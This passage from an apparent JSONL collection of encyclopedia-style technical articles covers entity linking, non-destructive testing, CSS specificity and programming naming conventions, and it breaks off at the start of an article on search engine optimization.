rest of the data in the next iteration. With many iterations, the model see more and more examples to learn from. Some semi-supervised approaches are known to rival baseline supervised approaches.\n    + **Unsupervised Learning**: Not very common but one possible approach is to semantic relations present in the data.\n\n### How can we use knowledge graphs for the entity linking task?\n\nModern entity linking systems use broad knowledge graphs built from knowledgebases like Wikipedia instead of textual features generated from input documents or text corpora. These systems extract complex features that take advantage of the information graph topology or exploit multi-step relations between entities that would otherwise go undetected by simple text analysis. Furthermore, developing multilingual entity linking systems based on natural language processing (NLP) is inherently difficult, as it necessitates either broad text corpora, which are often lacking for many languages, or hand-crafted grammar rules, which vary greatly between languages.\n\nIn the previous work of Han et al. proposed a graph-based collective entity linking method to model global topical interdependence (rather than pairwise interdependence) among different entity linking decisions in a single document. They first proposed Referent Graph, a graph-based representation that could model both textual context similarity and global topical interdependence between entity linking decisions as its graph structure. Then, using a strictly collective inference algorithm over the Referent Graph, they were able to jointly infer mapping entities for all entity mentions in the same paper. \n\n\n### What are the main steps in implementing an entity linking system?\n\nAn entity linking system will need the following:\n\n    + **Recognize**: Recognize the entities that are mentioned in the context of text. In this module, for each entity mention m ∈ M, the entity linking system aims to filter out irrelevant entities in the knowledgebase and retrieve a candidate entity set Em which contains possible entities that entity mention m may refer to.\n    + **Rank**: Rank each candidate. In most cases, the size of the candidate entity set Em is larger than one. Researchers leverage different kinds of evidence to rank the candidate entities in Em. They try to find the entity e ∈ Em which is the most likely link for mention m.\n    + **Link**: Link the recognized entities to the categorized entities in the knowledge graph.New facts are created and digitally expressed on the web as the world evolves. For semantic web and knowledge management strategies, automatically populating and enriching existing knowledgebases with newly derived facts has become a key problem. Entity linking is inherently regarded as a critical subtask in the population of a knowledgebase. Entity linking help a knowledgebase to grow. \n\n\n### What datasets are available for entity linking?\n\n**YAGO** is a high-coverage, high-quality open-domain information base that combines Wikipedia and WordNet. It's similar to Wikipedia by size but uses WordNet's clean taxonomy of concepts. YAGO currently contains over 10 million entities (such as individuals, organizations, places, and so on) and 120 million information about these entities, including the Is-A hierarchy (such as form and subclass of relations) as well as non-taxonomic relations. YAGO includes means-relation the relates strings to entities. For example, \"Harry\" denotes Harry Potter. Hoffart et al. used YAGO relations to create candidate entities. \n\n**DBpedia** is a multilingual knowledgebase built by extracting structured data from Wikipedia, such as categorization details, geo-coordinates, and links to external web pages. English DBpedia contains 4 million entities. Furthermore, it adapts to Wikipedia's changes automatically.\n\n**Freebase** is a broad online knowledgebase that's primarily generated collaboratively by its users. Non-programmers can edit the structured data in Freebase using a user interface. Freebase is a database that compiles information from a variety of sites, including Wikipedia. There are currently over 43 million entities and 2.4 billion facts about them in the database. \n\n\n### What evaluation metrics are suited for entity linking?\n\nWhere only disambiguation is done, we have: \n\n    + **Micro-Precision**: Fraction of correctly disambiguated named entities in the full corpus.\n    + **Macro-Precision**: Fraction of correctly disambiguated named entities, averaged by document.Where both entity recognition and disambiguation are done, we have: \n\n    + **Gerbil Micro-F1 – Strong Matching**: InKB micro F1 score for correctly linked and disambiguated mentions in the full corpus as computed using the Gerbil platform. InKB means only mentions with valid KB entities are used for evaluation.\n    + **Gerbil Macro-F1 – Strong Matching**: InKB macro F1 score for correctly linked and disambiguated mentions in the full corpus as computed using the Gerbil platform. InKB means only mentions with valid KB entities are used for evaluation.\n\n### What's the current state-of-the-art (SOTA) in entity linking?\n\nMulang et al. 2020 is the current Sota for ConLL-AIDA dataset. \n\nRaiman is the current SOTA in cross-lingual entity linking for WikiDisamb30 and TAC KBP 2010 datasets. They construct a type system, and use it to constrain the outputs of a neural network to respect the symbolic structure. They achieve this by reformulating the design problem into a mixed integer problem: create a type system and subsequently train a neural network with it. They propose a 2-step algorithm: 1) heuristic search or stochastic optimization over discrete variables that define a type system informed by an Oracle and a Learnability heuristic, 2) gradient descent to fit classifier parameters. \n\nThey apply DeepType to the problem of entity linking on three standard datasets (WikiDisamb30, CoNLL (YAGO), TAC KBP 2010) and find that it outperforms all existing solutions by a wide margin, including approaches that rely on a human-designed type system or recent deep learning-based entity embeddings. Explicitly using symbolic information lets it integrate new entities without retraining. \n\n## Milestones\n\n2006\n\nBunescu and Paşca propose using Wikipedia for Named Entity Disambiguation (NED). Their model makes use of Wikipedia's redirect pages, disambiguation pages, categories and hyperlinks. They apply some rules to construct a dictionary of named entities from Wikipedia. For context-article similarity they use cosine similarity with vectors formed from TF-IDF of words in the vocabulary. As similar work is due to Cucerzan (2007). \n\nNov  \n2007\n\nMihalcea and Csomai propose **Wikify!**, a system that recognizes key phrases or concepts and link them to suitable Wikipedia pages. The two main tasks in the process are keyword extraction and word sense disambiguation (WSD). They adopt unsupervised keyword extraction that involves candidate extraction and ranking. For WSD, they evaluate a knowledge-based approach (inspired by Lesk algorithm) and a data-driven approach (using Naive Bayes classifier). \n\n2008\n\nGiven two phrases, their **semantic relatedness** is usually computed using external knowledge sources. Instead, Milne and Witten propose using both incoming and outgoing links in Wikipedia pages to measure semantic relatedness. This is useful for WSD and hence for entity linking as well. To determine relatedness, the authors compare each potential candidate to the document's surrounding background, which is created by the other candidates. The use of Wikipedia for semantic relatedness was previously studied by Strube and Ponzetto (2006) and Gabrilovich and Markovitch (2007). \n\n2011\n\nRatinov et al. propose the **GLOW** system, which is an approximation of joint disambiguation using mutual information for semantic relatedness. The researchers extract additional named entity mentions and noun phrases from the document that were previously used as link anchor texts in Wikipedia to emphasize the coherence among candidates. Candidates are then retrieved by querying an anchor-title index that maps each link goal in Wikipedia to its various link anchor texts and vice versa, augmenting the given query mentions with this collection. \n\n2012\n\nShen et al. present **LINDEN**, a framework that uses YAGO to connect named entity mentions. They consider coherence among potential candidate entities. They consider semantic similarity of candidates to the forms in the YAGO ontology. This function assumes that candidate senses are organized into a tree structure of categories. They also consider global coherence of candidates for document mentions, where one candidate's global coherence is equal to the average Semantic Role Labelling (SRL) of all candidates. \n\n2016\n\nTsai and Roth consider the problem of linking entity mentions in non-English language text to the English Wikipedia. They address this using **multilingual embeddings** of titles and words. Their system doesn't handle the case of an English Wikipedia entry that doesn't have an equivalent entry in a foreign language. They also release a Wikipedia dataset across 12 languages.","meta":{"title":"Entity Linking","href":"entity-linking"}}
{"text":"# Non-Destructive Testing\n\n## Summary\n\n\n**Non-Destructive Testing (NDT)** is used in various industries to evaluate the properties of a material, component or system without damaging the test subject. NDT is also known by the terms *Non-Destructive Examination (NDE)*, *Non-Destructive Inspection (NDI)*, and *Non-Destructive Evaluation (NDE)*. \n\nIn testing, troubleshooting, and research, NDT is a successful strategy that saves both time and money. NDT plays a crucial role in everyday life and is essential for safety and reliability. Aircraft, spacecraft, motor vehicles, pipelines, bridges, railways, power plants, and oil platforms are just some examples tested with NDT.  \n\nNDT has many techniques. Eddy-current, magnetic-particle, liquid penetrant, radiographic, ultrasonic, leak, acoustic emission, and visual testing are most commonly used.  \n\nNDT is frequently used in forensics, mechanical engineering, petroleum engineering, electrical engineering, civil engineering, systems engineering, aeronautics, medicine, and art.\n\n## Discussion\n\n### What's the difference between destructive and non-destructive testing?\n\n**Destructive testing** is simply testing the destroys or damages the subject under test. There are many material properties that can only be evaluated by applying physical force or load. Examples include tensile strength, elongation, and hardness. Destructive tests to evaluate these include tensile test, bending test, fracture test, flattening test, hardness test, shear test, and impact test. \n\nOn the other hand, NDT doesn't damage the test subject. This means that the sample can be used in the field provided the tests pass. NDT can be used to detect defects or discontinuities. It can detect degradation of properties after long use. Surface or internal cracking, poor welding, impact damages, delamination, density, porosity and pitting some problems that NDT can detect. \n\nWhile destructive testing is often more reliable, NDT offers a safer, faster, cost-effective and less wasteful alternative. Thus, NDT complements but doesn't replace destructive testing. \n\n\n### Why are NDT checks necessary for a material?\n\nAll materials, products, and equipment have standard design requirements and estimated life. Sometimes products get through production, fabrication, or delivery with undetected defects. These may cause catastrophic failures. Such catastrophes can be costly and can even terminate projects. NDT can catch these problems before catastrophes occur. NDT saves lives and property. It helps companies adhere to regulations and standards. \n\nIn addition to security, NDT is used to assure the effectiveness and longevity of equipment. It's useful for asset integrity management, which leads to increased productivity and profitability for businesses. For example, in the 2020 port blast in Beirut, many buildings within the blast radius are still standing but could be structurally unsafe. Rather than demolish them, NDT is being used to assess extent of damage and repair them where possible. \n\nNDT can help engineers choose the right materials or treatments for each application. NDT can validate product design and suggest enhancements. It also validates manufacturing processes. \n\nIn conclusion, NDT brings safety, regulatory compliance, failure prevention, quality assurance, cost efficiency and reliability. \n\n\n### Which industries are using NDT checks?\n\nSeveral industries are using NDT: \n\n    + **Aerospace & Defence**: Airframe structures are tested for wear and tear, and operation under extreme conditions. Ultrasonic method is widely used to reveal even the smallest defects. Users include Boeing, Airbus, GE Aviation, Hindustan Aeronautics Ltd., etc.\n    + **Oil & Gas**: Internal structures are inspected for welds, cracks, voids and other structural defects. Ultrasonic and radiographic methods are commonly used. Users include Indian Oil Corporation, Bharat Petroleum, Reliance Petroleum Limited, ONGC, etc.\n    + **Biomedical & Medical Devices**: Ultrasounds and x-rays are widely used. Vendors include Medtronic plc, Johnson and Johnson, Abbott Laboratories, etc.\n    + **Civil & Heavy Construction**: Bigger structures imply bigger stresses and a greater need for NDT. NDT is applied to buildings, bridges and dams. Users include L&T Engineering & Construction Division, Tata Projects Ltd, etc.\n    + **Metals & Mining**: Metals are the foundations on which many industries function. NDT validates material properties and quality. Users include BHP Group Ltd, Jiangxi Copper Co. Ltd, etc.Other industries using NDT include power generation, petrochemicals, automotive, and maritime. \n\n\n### How to select a suitable NDT method for a certain material?\n\nThe selection of NDT method is based on material and defect type: \n\n    + **Visual Testing**: Used for analyzing surfaces, examining the condition of mating surfaces, and checking for leaks.\n    + **Liquid Penetrant Testing**: Detects surface-breaking defects such as hairline cracks, surface porosity, leaks in new products, and fatigue cracks.\n    + **Magnetic Particle Inspection**: Mostly identifies surface and near-surface faults or cracks in ferromagnetic materials. It detects seams, porosity, and small tight cracks.\n    + **Eddy Current Testing**: Uses electromagnetic induction to find defects in conductive materials. Detects electrical conductivity, permeability, cracks, seams, alloy content, heat treatment variations, wall or coating thickness.\n    + **Ultrasonic Testing**: Uses ultrasonic waves in the range 0.1-50 MHz to pick up cracks and variations in thickness. Applicable for concrete, wood, composites, metals, alloys, and welds.\n    + **Radiographic Testing**: Electromagnetic radiation penetrates materials and exposes defects on radiation-sensitive film. It mainly uses X-rays and Gamma-rays. It detects corrosion, geometry variation, density changes, and misaligned parts. It's a good test for inspecting weld interiors and picks out cracks, porosity, inclusions, voids, and lack of fusion.\n\n### What are the best practices or precautions for NDT?\n\nNDT itself poses a risk to testing professionals who are therefore required to follow many safety precautions. Always use trained and experienced professionals. They must know what testing method to use, how to use it, and how to correctly interpret the results. Suitable NDT software can help overcome examiner fatigue and loss of concentration. \n\nWhere ultraviolet radiation, ionizing radiation, or X-rays are used, operators should wear personal protective equipment, and use suitable filters and lenses. Even when more benign techniques such as ultrasonic or eddy current testing are employed, the testing environment itself can pose a risk. For example, changing probes without shutting down the system can cause sparks and explosions. Testing environments must be clean and free of clutter. Compressed gases (sulphur hexafluoride, acetylene, and nitrous oxide) commonly found at NDT facilities must be handled properly. \n\nFor magnetic particle testing, operator should use a local exhaust or at least wear respiratory protective equipment. For penetrant inspection, avoid skin contact, and keep away from food, drinks and smoking materials. For radiography, magneto-inductive and eddy current testing, cordon off the area so that personnel don't unintentionally expose themselves to radiation. \n\n\n### What are some real-world catastrophes that could've been prevented with NDT?\n\nIn 2009, one of the pressure vessels at NDK Crystal in Belvidere, Illinois violently ruptured. Later investigations confirmed that the company had failed to do NDT on the inside of the vessel that had been damaged due to corrosive chemicals. The inside wall had experienced stress corrosive cracking. \n\nThe Columbia Space Shuttle disaster of 2003 killed seven astronauts onboard. It was caused by a falling piece of foam that then damaged the left wing. Following an investigation, it was deemed that more extensive NDT on the foam and wings could have prevented this disaster. Another recommendation was to develop new NDT techniques to complement destructive testing methods. \n\nDuring the 1940s, the U.S. mass produced 2710 Liberty ships, some completed within five days. But 12 ships broke in half, later attributed to tiny fractures in the steel. Modern NDT techniques could have ascertained the quality of the steel. \n\n\n### What certifications are available for NDT professionals?\n\n**ISO 9712:2021** is the main standard for third-party qualification and certification of NDT personnel. Methods included in its scope are acoustic emission, eddy current, leak, magnetic, penetrant, radiographic, strain gauge, thermographic, ultrasonic and visual. It's an evolution of two earlier standards: EN 473 and ISO 9712.  ISO 9712 has been adopted in the U.S. as ANSI/ASNT CP-106.\n\n**EN ISO 20807** establishes a system for the qualification of personnel who perform NDT applications of a limited, repetitive or automated nature. **ISO TS 11774** is a performance-based qualification. It's applicable for safety critical applications where even third-party certification (ISO 9712:2021) may not suffice. \n\nFor employer-based certification, we have **ANSI/ASNT CP-189**. Particular to aerospace, we have AIA NAS 410:2014 and EN 4179:2017.  \n\nCertification under these standards includes training, work experience under supervision, and passing a written and practical examination conducted by the independent certification authority.\n\nFor a complete list of all ISO NDT standards covering requirements on testing equipment, visit ISO's 19.100: Non-destructive testing.\n\n## Milestones\n\n1868\n\nEnglishman S.H. Saxby first recorded NDT in his journal, \"Engineering,\" a method of detecting cracks in gun barrels using magnetic inductions. \n\n1895\n\nAfter the discovery of radiography Wilhelm Conrad Röntgen described the properties of radiography a type of electromagnetic radiation. \n\n1912\n\nThe Englishman Richardson claimed the identification of icebergs by ultrasound in his patent after titanic sink.\r Until 1912, the discovery of X-rays was mostly used in medical and dentistry fields. \n\n1920\n\nWilliam Hoke discovered the magnetic particles can be used to locate the defects using magnetism. \n\n1929\n\nRussian Sokolov studied the use of ultrasonic waves in detecting metal objects. Victor de Forest and Foster Doane used the ultrasonic waves in real industrial applications. \n\n1930\n\nRichard Seifert developed X-ray technology so that it is more powerful and precise than before. \n\n1932\n\nGiraudi an Italian built a magnetic particle crack detector named as \"Metalloscopio.\" \n\n1940\n\nFirestone developed pulsed ultrasonic testing using a pulse echo testing, and fluorescent or visible dye is added to the oil used to penetrate test objects. \n\n1950\n\nThe Schmidt Hammer (also known as \"Swiss Hammer\") is invented. The instrument uses the world's first patented non-destructive testing method for concrete. Also, J. Kaiser introduces acoustic emission as an NDT method.\n\n2008\n\nNDT in Aerospace Conference was established DGZfP and Fraunhofer IIS hosted the first international congress in Bavaria, Germany.\n\n2020\n\nIndian Society for Non-destructive Testing (ISNT) Accreditation Certification from NABCB for Qualification and Certification of NDT Personnel as per ISO 9712:2012.","meta":{"title":"Non-Destructive Testing","href":"non-destructive-testing"}}
{"text":"# CSS Specificity\n\n## Summary\n\n\nAssume an element on a web document is targeted by two different CSS selectors. Each selector applies different styling to that element. The selector with the higher *specificity* will take effect. CSS defines clear rules to determine the specificity of CSS selectors. \n\nA good understanding of the rules of CSS specificity can enable developers write better selectors and troubleshoot problems in their stylesheets. Otherwise, developers may end up misusing `!important` in their CSS declarations, thus making code more difficult to maintain in the long run.\n\n## Discussion\n\n### What are the rules to determine CSS specificity?\n\nA CSS selector will typically use ID, class, element/tag name or a combination of these. In addition, some selectors will use element attributes, pseudo-classes and pseudo-elements. Specificity is computed by counting each of these and ranking them. IDs have more importance than classes, pseudo-classes and attributes; the latter have more importance than elements and pseudo-elements. Inline style, specified as attribute `style=\"…\"`, has highest importance. The counts are concatenated to arrive at the final specificity. A selector with a higher number to the left implies higher specificity. \n\nIf two selectors have the same specificity, one that appears later in the stylesheet is applied. Universal selector `*` and combinators (`~`, `>`, `+`) are ignored. Pseudo-class `:not()` is not counted but selectors inside it are counted. \n\nAlthough specificity is calculated for selectors, styles are applied based on individual property-value declarations. Regardless of specificity, declarations with `!important` have highest importance. If conflicting declarations contain `!important`, higher specificity wins. \n\nIf a selector has no declaration for a specific property, inherited value (if available) or initial value is applied. \n\n\n### Could you explain CSS specificity with an example?\n\nGiven an ID, three classes and two elements, specificity is 0-1-3-0. This has higher specificity than a selector with just five classes, where specificity is 0-0-5-0.\n\nConsider HTML content `<p class=\"foo\" id=\"bar\">Lorem ipsum.</p>`. Consider CSS rules `p { color: red; }`, `.foo { color: green; }` and `#bar { color: blue; }`. All three selectors target the paragraph but the last selector has highest specificity. Hence, we'll see blue-coloured text. This can be understood by calculating the specificity: \n\n    + `p`: one element: 0-0-0-1\n    + `.foo`: one class: 0-0-1-0\n    + `#bar`: one ID: 0-1-0-0Since 0-1-0-0 > 0-0-1-0 > 0-0-0-0, `#bar` selector has the highest specificity. \n\nIf we have `p { color: red !important; }`, we'll have red-coloured text. Specificity is ignored. \n\nSuppose we introduce inline styling, `<p class=\"foo\" id=\"bar\" style=\"color: purple\">…</p>`. This will take precedence, unless there's an earlier declaration with `!important`. \n\nSuppose we have two classes `<p class=\"foo hoo\">…</p>` styled with `.hoo { color: yellow; }`. Specificity is the same for both `.foo` and `.hoo`. If `.hoo` appears later in the stylesheet, we'll have yellow-coloured text. When specificity is same, order matters. \n\n\n### How is specificity affected by cascading order?\n\nConsider HTML content `<p class=\"foo\" id=\"bar\">Lorem ipsum.</p>`. Suppose the author defines `.foo { color: green; }` and the user defines `#bar { color: blue; }`. User-defined styles are typical for accessibility reasons. The latter has higher specificity but the former declaration is used; that is, text is rendered in green. To understand this, we need to understand the concept of **origin**. \n\nCSS styles can come from different origins: user (reader of the document), user agent (browser), or author (web developer). The standard defines precedence of the origin. This is applied first before specificity is considered. The order also considers declarations that include `!important`. \n\nPrecedence in descending order is Transition declarations, Important user agent declarations, Important user declarations, Important author declarations, Animation declarations, Normal author declarations, Normal user declarations, and Normal user agent declarations. \n\n\n### What are some examples of CSS specificity calculation?\n\nHere we share a few examples: \n\n    + `ul#nav li.active a`: `#nav` is the ID, `.active` is the class, and three elements `ul`, `li` and `a` are used. Specificity 0-1-1-3.\n    + `body.ie7 .col_3 h2 ~ h2`: Two classes `ie7` and `.col_3`, and three elements `body`, `h2` and `h2` are used. `~` is not counted. Specificity 0-0-2-3.\n    + `<li style=\"color: red;\">`: Has inline style attribute. Specificity 1-0-0-0.\n    + `ul > li ul li ol li:first-letter`: Apart from six elements, `:first-letter` is a pseudo-element. `>` is not counted. Specificity 0-0-0-7.\n    + `li:nth-child(2):hover`: Both `:nth-child(2)` and `:hover` are pseudo-classes. Specificity 0-0-2-1.\n    + `.bar1.bar2.bar3.bar4`: This is a combined selector with four classes. Specificity 0-0-4-0.\n\n### What are some tips for managing CSS specificity?\n\nUse IDs to increase specificity. For example, `a#foo` has higher specificity compared to `a[id=\"foo\"]`: 0-1-0-1 > 0-0-1-1.\n\nWhen two selectors have same specificity, the selector defined second takes precedence. The use of `!important` overrides specificity. If two declarations have `!important`, the second one wins. In any case, avoid the use of `!important`. \n\nFor link styling, define CSS rules in the order of Link, Visited, Hover, Active (LVHA). \n\nIn terms of online resources, developers can consult handy cheat sheets on CSS specificity at Stuff & Nonsense or at Standardista. There's also an online calculator.\n\n\n### I find CSS specificity confusing. Is there a simpler way?\n\nOne approach is to adopt a naming convention such as **Block-Element-Modifier (BEM)**. By defining CSS classes for design components (called blocks), scope of a class is \"limited\" to that block. \n\nIn BEM, selectors use only classes. IDs and elements are avoided in selectors. Combined selectors (of the form `.foo.bar`) are avoided. Nested selectors (of the form `.foo .bar`) are allowed but discouraged in BEM. Since selectors are just classes, it's easier to determine specificity. Selectors can be reused more easily. \n\n**CSS Modules** offers a modern way to restrict the scope of CSS declarations. Via tooling, this automatically renames the selectors. This can be configured to adopt BEM naming approach. For example, a menu component is styled with `.Menu_item--3FNtb`. If it appears within a header, the style changes to `.Header_item--1NKCj`. Although both have same specificity, the latter occurs later in the stylesheet. \n\nOne alternative to BEM is Enduring CSS (ECSS). Partly inspired by BEM, ECSS promotes the use of single class selectors. IDs and tag names are not used in selectors. Nested selectors are allowed. \n\nOther alternatives include Atomic CSS (ACSS), Object-Oriented CSS (OOCSS), Scalable and Modular Architecture for CSS (SMACSS). \n\n\n### Is CSS specificity still relevant in modern JavaScript frameworks?\n\nAmong the well-known JavaScript frameworks are Angular, React and Vue. All of these offer ways to style documents in a modular fashion. This is in contrast to the default global scope of CSS selectors and declarations. In Angular and React, a **styled component** would have declarations that are applicable only to that component. In Vue, **scoped CSS** achieves the same effect.  \n\nThis idea of combining JS and CSS has been formalized under the term **CSS-in-JS**. However, one disadvantage is that we're combining HTML structure and styling into a component file. Although this isolates one component from another, it also makes styles harder to reuse across components. \n\nAlthough CSS declarations are restricted to their components, specificity can't be ignored. Specificity still applies within the component but a lot easier to manage.\n\n## Milestones\n\nDec  \n1996\n\nW3C publishes **CSS1** as a W3C Recommendation. This clarifies the precedence when conflicting rules target the same element. It also explains how to calculate the specificity of selectors. \n\n2000\n\nThere's no exact date when developers recognize the importance of CSS specificity. Probably around 2000 (plus or minus a few years), as websites and stylesheets start to grow in complexity, developers have a hard time debugging and maintaining their code. It's at this point that they begin to learn and understand CSS specificity.\n\nAug  \n2002\n\nW3C publishes the first draft of **CSS2.1**, which is a revision of CSS2 from 1997. This clarifies the **cascading order**. In descending order, it's user important, author important, author normal, user normal and user agent declarations. In CSS1, precedence in descending order was author, reader and user agent declarations. \n\nJan  \n2006\n\nDeveloper Keegan Street open sources a JavaScript module that, given a selector, calculates and return its specificity. This is a command-line tool. For convenience, an online version of this calculator is available.\n\nJan  \n2013\n\nIn W3C Working Draft titled *CSS Cascading and Inheritance Level 3*, cascading order is updated. This document becomes a W3C Candidate Recommendation in April 2015.","meta":{"title":"CSS Specificity","href":"css-specificity"}}
{"text":"# Naming Conventions\n\n## Summary\n\n\nIn general, code is written once but read multiple times, by others in the project team or even those from other teams. Readability is therefore important. Readability is nothing more than figuring out what the code does in less time. \n\nAmong the many best practices of coding, is the way variables, functions, classes and even files are named in a project. A common naming convention that everyone agrees to follow must be accompanied by consistent usage. This will result in developers, reviewers and project managers communicate effectively with respect to what the code does. \n\nWhile there are well-established naming conventions, there's no single one that fits all scenarios. Each programming language recommends its own convention. Each project or organization may define it's own convention.\n\n## Discussion\n\n### Why should we have a naming convention and what are its advantages?\n\nNaming conventions are probably not important if the code is written by a single developer, who's also the sole maintainer. However, typical real-world projects are developed and maintained by teams of developers. Particularly in the context of open source projects, code is shared, updated and merged by many individuals across organizations and geographies. Naming conventions are therefore important.\n\nNaming conventions result in improvements in terms of \"four Cs\": communication, code integration, consistency and clarity. The idea is that \"code should explain itself\". At code reviews, we can focus on important design decisions or program flow rather than argue about naming. \n\nNaming conventions lead to predictability and discoverability. A common naming convention, coupled with a consistent project structure, makes it easier to find files in a project.  \n\nIn short, naming convention is so important that Phil Karlton is said to have said, \n\n> There are only two hard things in Computer Science: cache invalidation and naming things.\n\n\n### What are some common naming conventions used in programming?\n\nAmong the common ones are the following:\n\n    + **Camel Case**: First letter of every word is capitalized with no spaces or symbols between words. Examples: `UserAccount`, `FedEx`, `WordPerfect`. A variation common in programming is to start with a lower case: `iPad`, `eBay`, `fileName`, `userAccount`. Microsoft uses the term Camel Case to refer strictly to this variation.\n    + **Pascal Case**: Popularized by Pascal programming language, this is a subset of Camel Case where the word starts with uppercase. Thus, `UserAccount` is in Pascal Case but not `userAccount`.\n    + **Snake Case**: Words within phrases or compound words are separated with an underscore. Examples: `first_name`, `error_message`, `account_balance`.\n    + **Kebab Case**: Like Snake Case, but using hyphens instead. Examples: `first-name`, `main-section`.\n    + **Screaming Case**: This refers to names in uppercase. Examples: `TAXRATE`, `TAX_RATE`.\n    + **Hungarian Notation**: Names start with a lowercase prefix to indicate intention. Rest of the name is in Pascal Case. It comes in two variants: (a) *Systems Hungarian*, where prefix indicates data type; (b) *Apps Hungarian*, where prefix indicates logical purpose. Examples: `strFirstName`, `arrUserNames` for Systems; `rwPosition`, `pchName` for Apps.\n\n### What are the categories of naming conventions?\n\nIt's common to categorize a naming convention as one of these:\n\n    + **Typographical**: This relates to the use of letter case and symbols such as underscore, dot and hyphen.\n    + **Grammatical**: This relates to the semantics or the purpose. For example, classes should be nouns or noun phrases to identify the entity; methods and functions should be verbs or verb phrases to identify action performed; annotations can be any part of speech; interfaces should be adjectives.Grammatical conventions are less important for variable names or instance properties. They are more important for classes, interfaces and methods that are often exposed as APIs. \n\n\n### What's the typical scope of a naming convention?\n\nNaming convention is applicable to constants, variables, functions, modules, packages and files. In object-oriented languages, it's applicable to classes, objects, methods and instance variables. \n\nWith regard to scope, global names may have a different convention compared to local names; such as, Pascal Case for globals: `Optind` rather than `optind` in gawk. Private or protected attributes may be named differently: `_secret` or `&lowbar;&lowbar;secret` rather than `secret`. Some may want to distinguish local variables from method arguments using prefixes. Python's PEP8 doesn't give a naming convention to tell apart class attributes from instance attributes but other languages or projects might define such a convention. \n\nIn general, use nouns for classes, verbs for functions, and names that show purpose for variables, attributes and arguments. Avoid (Systems) Hungarian notation in dynamically typed languages since data types can change. Use lower Camel Case for variables and methods. Use Pascal Case for classes and their constructors. Use Screaming Case for constants. \n\n\n### What word separators are used in naming conventions and who's using what?\n\nWith Camel Case and Pascal Case, there are no word separators. Readability is achieved by capitalizing the first letter of each word. Languages adopting this include Pascal, Modula, Java and .NET. \n\nWith Snake Case, underscore is the separator. This practice is common in Python, Ruby, C/C++ standard libraries, and WordPress. \n\nWith Kebab Case, hyphen is the separator. Languages using this include COBOL, Lisp, Perl 6, and CSS. Since hyphen in many languages is used for subtraction, Kebab Case is less common than Snake Case. \n\nIt's common for a language to adopt different case styles for different contexts. For example, a PHP convention named PSR-1 adopts the following: `PascalCase` for class names, `UPPER_SNAKE_CASE` for class variables and `camelCase` for method names. \n\n\n### Where can I find published naming conventions for different languages?\n\nPython defines its naming convention as part of PEP8. Beginners can read a summary. \n\nRust's conventions are summarized in its official documentation. It uses Camel Case for type constructs and Snake Case for value constructs.\n\nGoogle offers it's own naming convention for Java and for R.\n\nKotlin follows Java's conventions and they're summarized in its documentation. \n\n.NET naming conventions are available online. \n\nResources in Android projects are defined in XML but without namespaces. This makes it difficult to find stuff. One suggested XML naming convention solves this problem. \n\nFor user interface design and names in CSS, BEM Methodology is worth studying. \n\n\n### Are there exceptions to following a common naming convention?\n\nFollowing a common naming convention is beneficial. However, it may be okay to relax the rules in some cases. When a name is highly localized, lacks business context or used within a few lines of code, it may be acceptable to use a short name (`fi` rather than `CustAcctFileInfo`). \n\nWhen a project is written in multiple languages, it's not possible to have a single naming convention. For each language, adopt the naming convention prevalent in that language. Another example is when you're using a third-party library. Follow their convention for consistency and readability. \n\nUltimately, naming conventions should not be enforced blindly. We should be sensitive to the context of use. This is partly because IDEs come to the aid of developers. They can highlight the name in all places it occurs. The practice of prefixing member and static variables with `m` and `s` respectively is also not in favour since IDEs colour them differently. \n\n\n### Could you give some tips to create a naming convention?\n\nWithout being exhaustive here are some things to consider:\n\n    + Reveal intentions: `fileName` is better `f`; `maxPugs` is better than `pugs`.\n    + Make distinctions: `moneyInDollars` is better than `money`.\n    + Put the distinguishing aspect first: `dollarMoney` and `rupeeMoney` are better than `moneyInDollars` and `moneyInRupees`.\n    + Easy to pronounce: `timeStamp` is better than `ts`.\n    + Verbs for functions: `getName()` and `isPosted()` are good; `hasWeight()` or `isMale()` when boolean values are returned; `toDollars()` for conversions.\n    + One word, one concept: `fetch`, `retrieve`, `get` all imply the same thing: use one of them consistently.\n    + Relate to business context: `AddCustomer` is better than `IncrementCounter`.\n    + Use shortforms judiciously: `PremiumCust` may be used over `PremiumCustomer` to emphasize \"Premium\"; but `fn` is not a good substitute for `fileName`.\n    + Describe content rather than storage: `user_info` is better than `user_list`.\n    + Plurals for containers: `fruitNames` is better than `fruit` for an array of fruit names.\n    + Describe content rather than presentational aspects: in CSS, for example, `main-section` is better than `middle-left-and-then-a-little-lower` as identifier name.\n\n\n## Milestones\n\n1813\n\nAn early use of Camel Case, more formally called **medial capitals**, starts in chemistry. Swedish chemist Jacob Berzelius invents it to represent chemical formulae. For example, Sodium Chloride is easier to read as `NaCl` than `Nacl`. \n\n1960\n\nThe use of **Snake Case** can be traced to the late 1960s. In the 1970s, it's used in C language, while Pascal uses what is later called **Pascal Case**. However, the name Snake Case itself is coined in the early 2000s. \n\n1970\n\nThe 1970s is when **Camel Case** started becoming common in the world of computer programming. However, the name itself is coined years later (in 1995) and is attributed to Newton Love. \n\n1980\n\nIn the 1980s, Charles Simonyi, a Hungarian working at Microsoft, invents the notation of using lowercase prefixes to names to indicate what the name referred to. Thus is born (Apps) **Hungarian Notation**. Unfortunately, some mistake Simonyi's idea and use prefixes to indicate data types. This is born Systems Hungarian. While Apps Hungarian is useful, Systems Hungarian is not, particularly in type safe languages. When Microsoft start working on .NET in the late 1990s, they recommend not using Hungarian notation. \n\nDec  \n2012\n\nR language doesn't officially specify a naming convention. Therefore multiple conventions exist. An analysis of 2668 R packages downloaded from CRAN shows a lack of consistency. In fact, 28% of packages use three or more conventions.","meta":{"title":"Naming Conventions","href":"naming-conventions"}}
{"text":"# Search Engine Optimization\n\n## Summary\n\n\nUsers online use search engines to find information or resources. If you're the owner of a website, you always want to bring more visitors to your site. If search engines give better visibility to your site in response to relevant search queries, this would translate to more visitors. But how do you tell search engines that your site is better than others? This is where **Search Engine Optimization (SEO)** plays an important part. \n\nSEO is the process of applying a set of techniques so that search engines rank your site or page higher, without you paying them to do so. We could optimize on content, organization, design, performance, etc. To know what to optimize is not obvious and requires a good understanding of the many factors that search engines use to rank web pages.\n\n## Discussion\n\n### What are some important factors that search engines use for ranking web pages?\n\nAs of December 2018, it's recognized that Google uses more than 200 ranking factors. These can be categorized into domain related, site level or page level factors. For example, a keyword appearing in domain name can boost ranking. At site level, content uniqueness, content freshness, site trust rank, site architecture, use of HTTPS, and usability are some factors. At page level, use of keywords in title tag, content length, topic coverage, and loading speed are some factors. \n\nSearch results that get more clicks may be ranked better in future. Bounce rate may be used to adjust ranking. Repeat visits to a page and higher dwell time (time spent on a page) may boost ranking. Likewise, pages with lots of comments may get a boost. \n\nSearch engines may also apply algorithmic rules. For example, priority may be given to recently published pages due to freshness. For diversity, results may 